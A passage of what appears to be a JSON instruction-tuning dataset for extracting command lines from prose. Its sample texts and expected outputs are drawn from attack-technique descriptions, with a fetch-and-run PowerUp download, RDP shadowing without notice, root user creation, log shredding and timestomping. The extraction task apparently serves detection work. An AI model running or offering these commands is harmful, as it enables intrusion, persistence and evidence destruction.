    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can remove prefetch-related execution evidence by applying this registry change via the command: reg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\Session Manager\\Memory Management\\PrefetchParameters\" /v \"EnablePrefetcher\" /t REG_DWORD /d 0 /f, followed by a system restart; To set up RDP shadowing without user notification, execute this command which configures both the firewall and registry settings: $s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\nGet-CimInstance -Namespace ROOT\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\"Remote Desktop - Shadow (TCP-In)\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\"Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\"; sValueName=\"shadow\"; uValue=[uint32]2} -CimSession $s",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\Session Manager\\\\Memory Management\\\\PrefetchParameters\\\" /v \\\"EnablePrefetcher\\\" /t REG_DWORD /d 0 /f\\n\", \"$s= New-CimSession -Computername #{server_name} -SessionOption (New-CimSessionOption -Protocol Dcom)\\nGet-CimInstance -Namespace ROOT\\\\StandardCimv2 -ClassName MSFT_NetFirewallRule -Filter 'DisplayName=\\\"Remote Desktop - Shadow (TCP-In)\\\"' -CimSession $s | Invoke-CimMethod -MethodName Enable\\nInvoke-CimMethod -ClassName StdRegProv -MethodName SetDWORDValue -Arguments @{hDefKey=[uint32]2147483650; sSubKeyName=\\\"Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\\\"; sValueName=\\\"shadow\\\"; uValue=[uint32]2} -CimSession $s\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To modify the hash of a binary file, you can use the following command to add a byte to it: truncate -s +1 #{file_to_pad} #adds a byte to the file size; Upon running this command with hh.exe, the local CHM file will be executed and calc.exe will launch: hh.exe \"#{local_chm_file}\"\n",
    "output": "{\"command_list\": [\"truncate -s +1 #{file_to_pad} #adds a byte to the file size\\n\", \"hh.exe \\\"#{local_chm_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The command line was executed through a suspicious invocation, as documented in the 2021 Threat Detection Report by Red Canary, using the following command: %LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}\n; The Raspberry Robin technique can be simulated with the command that reads and executes a file through cmd.exe: cmd /r cmd<\"#{input_file}\"",
    "output": "{\"command_list\": [\"%LOCALAPPDATA:~-3,1%md /c echo #{input_message} > #{output_file} & type #{output_file}\\n\", \"cmd /r cmd<\\\"#{input_file}\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    A new user can be added in PowerShell via the command: New-LocalUser -Name \"#{username}\" -NoPassword. This will display the account information, and verification can be done by observing the output of \"net user\" in PowerShell or CMD, which should include the new user \"T1136.001_PowerShell\".; Adversaries in the Butter campaign would add a user to the root group with the following multi-step command:\nuseradd -g 0 -M -d /root -s /bin/bash #{username}\nif [ $(cat /etc/os-release | grep -i 'Name=\"ubuntu\"') ]; then echo \"#{username}:#{password}\" | sudo chpasswd; else echo \"#{password}\" | passwd --stdin #{username}; fi;",
    "output": "{\"command_list\": [\"New-LocalUser -Name \\\"#{username}\\\" -NoPassword\\n\", \"useradd -g 0 -M -d /root -s /bin/bash #{username}\\nif [ $(cat /etc/os-release | grep -i 'Name=\\\"ubuntu\\\"') ]; then echo \\\"#{username}:#{password}\\\" | sudo chpasswd; else echo \\\"#{password}\\\" | passwd --stdin #{username}; fi;\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To delete the messages log file, use the following command: unlink /var/log/messages; This process securely overwrites the log file with zero bytes via three passes before deletion, executed with the command: sudo shred -u -z -n 3 #{system_log_path}",
    "output": "{\"command_list\": [\"unlink /var/log/messages\\n\", \"sudo shred -u -z -n 3 #{system_log_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For allowing multiple simultaneous downloads, use these registry modification commands: reg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPerServer\" /t REG_DWORD /d 10 /f\nreg add \"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\" /v \"MaxConnectionsPer1_0Server\" /t REG_DWORD /d 10 /f; An adversary may attempt to modify Internet Zone Protocol Defaults in the registry using the reg.exe utility, as shown in this command block: reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v http /t REG_DWORD /d 0 /F\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProtocolDefaults\" /v https /t REG_DWORD /d 0 /F",
    "output": "{\"command_list\": [\"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v \\\"MaxConnectionsPerServer\\\" /t REG_DWORD /d 10 /f\\nreg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\" /v \\\"MaxConnectionsPer1_0Server\\\" /t REG_DWORD /d 10 /f\\n\", \"reg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\ProtocolDefaults\\\" /v http /t REG_DWORD /d 0 /F\\nreg add \\\"HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Internet Settings\\\\ZoneMap\\\\ProtocolDefaults\\\" /v https /t REG_DWORD /d 0 /F\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The process of timestamp stomping involves executing these commands: NOW=$(date +%m%d%H%M%Y)\ndate 010100001971\ntouch #{target_filename}\ndate \"$NOW\"\nstat #{target_filename}\n, which temporarily changes the system date before creating the file and then restores it.; The threat actor Rocke employed this method during Linux web server compromises, executing these commands to synchronize timestamps: touch #{target_file_path}\ntouch -acmr #{reference_file_path} #{target_file_path}\n",
    "output": "{\"command_list\": [\"NOW=$(date +%m%d%H%M%Y)\\ndate 010100001971\\ntouch #{target_filename}\\ndate \\\"$NOW\\\"\\nstat #{target_filename}\\n\", \"touch #{target_file_path}\\ntouch -acmr #{reference_file_path} #{target_file_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 